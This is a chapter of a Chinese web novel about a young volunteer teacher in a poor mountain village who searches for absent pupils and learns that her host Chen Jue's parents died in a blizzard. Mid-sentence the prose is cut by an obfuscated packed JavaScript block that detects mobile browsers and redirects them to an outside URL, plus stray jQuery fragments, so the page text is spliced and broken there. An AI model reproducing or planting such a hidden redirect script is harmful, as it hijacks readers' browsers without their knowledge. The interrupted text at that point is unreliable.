清早的阳光斜斜照进教室门，俞岫站在门口，双手交握着垂在身前，新的一天，依旧只等来了陈宜和陈霖。
她眉头蹙着，脸上忧愁难掩，不死心地站在门口眺望，两个孩子也不进去，陪她一块儿等。
三个人整整齐齐蹲在地上望眼欲穿。
俞岫偏头问陈霖：“班上原本有多少学生？”
陈霖歪着脑袋思考了会儿，“加上我和陈宜，大概，三十四个吧。”
“他们之前会来上学吗？”
陈霖摇头，“也不是每天都来。”
俞岫蹲下来，阳光正好照在她侧脸上，晒得睁不开眼，她眯着眸，认真对两人说：“今天我们不在教室上课，我给你们布置一个作业。我需要班里学生的名单和住址，你们帮我写下来，再给我画一份村里的地图可以吗？”
陈宜抢先一步回答可以，答应的十分干脆。
-
陈决回家时正好碰见俞岫拿着张纸从他家里出来，她注意力全在纸上，完全没看路，被脚下的门槛绊了个踉跄，情急之下胡乱伸手，抓住了他胳膊。
俞岫惊魂未定，抬起头和陈决对视上，一时忘了松手。
陈决从没和同龄的女孩子有过肢体接触，连话都少说，这一下也让他慌了心神，垂着眸抽回胳膊，动作稍显僵硬。
一贯沉默寡言的人，这时候也自然是说不出话的。
俞岫手中那张纸被她捏皱了大半，他瞥见上面歪歪扭扭的线条和拼音写的字，猜想那是陈霖和陈宜的手笔。
可能是日头太烈，晒得人头脑发昏了。
俞岫看着陈决侧脸，鬼迷心窍般说出一句：“你耳朵好红。”
陈决再内敛木讷也听出话中揶揄意味，他绷着脸转身进屋，动作间带起的一阵微风迎面吹向俞岫。
她回过神来没觉得抱歉，笔直站在那儿盯着陈决背影，手中纸又揪皱了几分。
他在害羞。
这是她唯一的想法。
里屋突然传来霹雳哐啷的声响，像锅盖掉在地上的声音，俞岫没忍住轻笑了一声，捧着地图转身上路。
接近中午，气温还在上升。
村里树木多，走哪都有阴凉处，总不至于热中暑，但上下坡太多，累是难免。
地图绘制的十分简约，但路线都清晰，找的不费力。
俞岫边走边记，以后少不了在村里走动的。
村里房屋盖的大差不差，一路看来都是砖砌的墙、瓦堆的顶，有几家条件差些，房屋和村小一样是土筑的。
也不知是今日运气不好还是来的不是时候，俞岫接连跑了四家都没见着人，大热天的，接近饭点，不可能每家都没人在。
到第五家，总算看见有位老人，她在篱笆外踮着脚大喊：“婆婆，婆婆！”
老人兴许是耳背，半天才听见，看她是生面孔还有些警惕：“你找哪个？”
“李义在家吗？”
这是学生的名字。
老人摆手就要走，一副不想搭理她的模样：“不在不在，忙去了。”
说完就彻底进了屋。
俞岫没辙，只能继续上路。
下一个学生的家离这有些远，得越过这层坡，俞岫走到一半累的够呛，见身旁这户人家的篱笆旁有块大石头，石头边还有颗树挡了烈阳，她顺势就坐下了。
坐了没两分钟，屋里出来位老人，手里拿着颗白菜，见到她先是愣住，再是带着不确定的语气开口：“是不是婷婷啊？”
俞岫疑惑地回头，却听见老人更加笃定和欣喜的声音：“婷婷！你怎么回来了啊婷婷！”
老人丢下手中白菜就朝她走，俞岫脑袋一片空白，不知所措地站起来，“我、我不是……”
“你都好久没回过家了啊，奶奶想你啊，你都不给奶奶打电话。”
老人说着，甚至流下了眼泪，一双浑浊的眼满含忧伤与惊喜。
俞岫双手被她握着，完全不知道该怎么办了。
“奶奶，我不是婷婷，我……”
她话被打断，“在外面吃苦了，瘦这么多，我的心肝啊。没吃饭吧？奶奶给你做饭，这次回来不能走了，你都不知道……”
老人不断念叨，拽着她往里走。
俞岫不想老人伤心却也不能骗她，还是狠心停下，“奶奶我不是婷婷，我叫俞岫，来村里支教的，不是婷婷。”
她弯腰捡起掉在地上的白菜递给老人，老人没接，听到她的话后愣了几秒，又回头仔细望着她脸。
那双眼睛苍老浑浊，岁月留下的痕迹让它无法看清眼前人的外貌，只是一味地睁眼、眯眸，在反复几次的动作中获得一丝清明，才终于瞧清楚，眼前的女孩子不是她日思夜想的那个人。
“不是婷婷啊……”
握着俞岫胳膊的那只手颤颤巍巍地收回去，老人脸上有失望也有懊恼，“老了，看不清楚了，认不得了……”
俞岫看着老人离去的背影，心情复杂。
她迫切地想做点什么，却又实在无能为力，只能转身离开。
一中午的时间流水似的过去了，俞岫一无所获，家家户户几乎都没人，一个孩子都没见到。
最后一家在村口，她带着满身燥热和汗水来到房子边，和刚回村的村长打了个照面。
村长骑着当日接她的那辆三轮车，也是满身热汗，“俞老师？你在这干嘛呢？”
俞岫一时不知怎么向村长解释。
来支教，两天了只有两名学生来上课，说出去显得她这个老师有些没用。
“我来…找没去上学的学生。”
村长似乎早就知道是怎么回事，叹了口气道：“村里忙着‘双抢’，家里能干活的都去地里了，这两天班上多少人来吧。”
俞岫总算知道缘由，诚实回答：“只来了两个。”
村长又是一阵叹息，“没办法啊，估计还得忙一个礼拜吧。”
俞岫皱眉，“这么久不上学怎么行呢？”
“唉，情况不一样，你年纪小，又是城市里来的，你不知道。城里在乎教育，大山里没这些讲究，日子难过，活着都费劲，读书是最不重要的事了。山里人世世代代都没上过学，认得字就算很不错了，我办村小就是想改变点什么，但眼瞅着村里人活得这么艰难，一代又一代的人困在大山里，我也说不出那些漂亮话了，没办法，唉，没办法啊。”
俞岫向来感性，十八岁的年纪，最懂共情，花草枯萎动物受伤都要伤心半天的人，听到这番话后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361261|199750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼泪摇摇欲坠。
她才知道，洵山有一套自己的规则，那是既定命运和穷困生活催化的结果。
她只在这里待两月，改变不了什么。
“我还有一个问题，我知道有些冒昧，您要是不方便回答的话，就当我没问过。”
俞岫声音哽咽，喉咙发紧。
“……陈宜和陈霖的父母，都不在家吗？”
这两日她观察了许多，陈决家没有大人，做饭的是他，洗碗的是他，家里大大小小的活都是他在做。
但她刻意没提陈决，好像这样显得她只是位关心学生的老师。
这个问题换来的是良久的沉默和村长又一声的叹息。
“都走了，好几年了。去城里打工，被老板拖欠工资，过冬的衣服都买不起，那年又下暴雪，活活冻死了，还是我去给人接回来的。”
俞岫怔在原地，蓄在眼眶里的泪争相往下落，眼中满是不可置信。
她对那年暴雪印象深刻。
学校因为暴雪停课八天，学生们为突如其来的假期欢呼雀跃，她和一众发小连打三天雪仗，全都冻感冒了。
她为之兴奋高兴的雪，居然带走了两个人的生命。
或是更多。
她不敢想。
村长想起这件事仍旧痛心，感叹一句：“陈决懂事，也命苦。”
那年陈决十三岁，失去了父母，成了家里的顶梁柱。
俞岫沉浸在情绪里，不知道村长是什么时候走的。
眼泪风干在脸上，她伸手揉，擦不去皮肤上痒辣的痛觉。
来洵山三天，这是她第二次哭。
视线仍有些朦胧，她垂着脑袋，深吸一口气，将那张地图小心折好后捏进手中。
再抬眼时，陈决推着车出现在小路拐弯处。俞岫耳边回荡着村长那句话，刚整理好的情绪又翻涌起来，眼底又滚起热浪，泪水上涨。
她害怕陈决看出什么，害怕他问她怎么了，又或是其他她回答不上来的问题。
“陈宜给你留了午饭。”
他跨上座椅，将草帽扣到头上。下坡路，他蹬两脚就到了她面前。
俞岫慌张低头，抬手假装擦汗，手腕滑过眼角拭去了泪痕。
自以为动作自然，完美掩盖。
陈决难得直视她眼睛，车行到她身边时有明显减速，但还是没停下。
在他骑出两米路后，俞岫喊住他：“陈决！”
车刹在原地，陈决回头看向她。
“你要去哪？”
风吹落两片竹叶，落在他两中间。
“干活。”
俞岫手捏着拳垂在身侧，沉默几秒钟后问他：“你知道怎么去镇里吗？我想买点东西。”
陈决思索后答：“我明天去，可以帮你带。”
俞岫摇头，“我和你一起。”
明天是周六，村小放假。
片刻安静后，他说好，离开的同时丢下一句话。
“没什么好哭的。”
俞岫在很久以后才反应过来，这是一句安慰。
陈决式的安慰。
他以为她在为学生不来上课的事哭泣。
但不是。
她在为他流泪。